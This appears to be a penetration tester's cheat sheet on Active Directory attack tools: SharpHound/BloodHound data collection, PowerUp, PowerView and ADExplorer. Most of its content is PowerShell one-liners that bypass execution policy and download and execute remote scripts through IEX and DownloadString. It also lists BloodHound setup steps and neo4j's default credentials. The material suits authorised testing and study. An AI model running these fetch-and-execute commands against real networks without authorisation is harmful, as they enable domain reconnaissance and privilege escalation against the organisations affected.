Tools

Bloodhound

Running SharpHound

Using bloodhound requires two things (1) Extract the data and (2) Analyze the data.

Extracting the data can be done with the powershell-script SharpHound.ps1

```
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound
```

Or you can download the module and then run:

```
powershell -Exec Bypass
import-module .\Sharphound.ps1
invoke-bloodhound
invoke-bloodhound -CollectionMethod all
```

In order to transfer the resulting zip-file from the windows computer to your linux-machine where you are running bloodhound see Transfering Files.

Running Bloodhound

If you have the kali-repo you can install bloodhound like this:

```
sudo apt-get install bloodhound
sudo neo4j console
bloodhound
```

The default username/password for neo4j is neo4j/neo4j.

```
ps aux | grep neo4j
sudo kill XXXX
```

References: Understanding Bloodhound output: https://wald0.com/?p=112

PowerUp

```
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafi
```

PowerView

```
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafi
```

ADExplorer

It can be downloaded from here:

```
https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer
https://download.sysinternals.com/files/AdExplorer.zip
```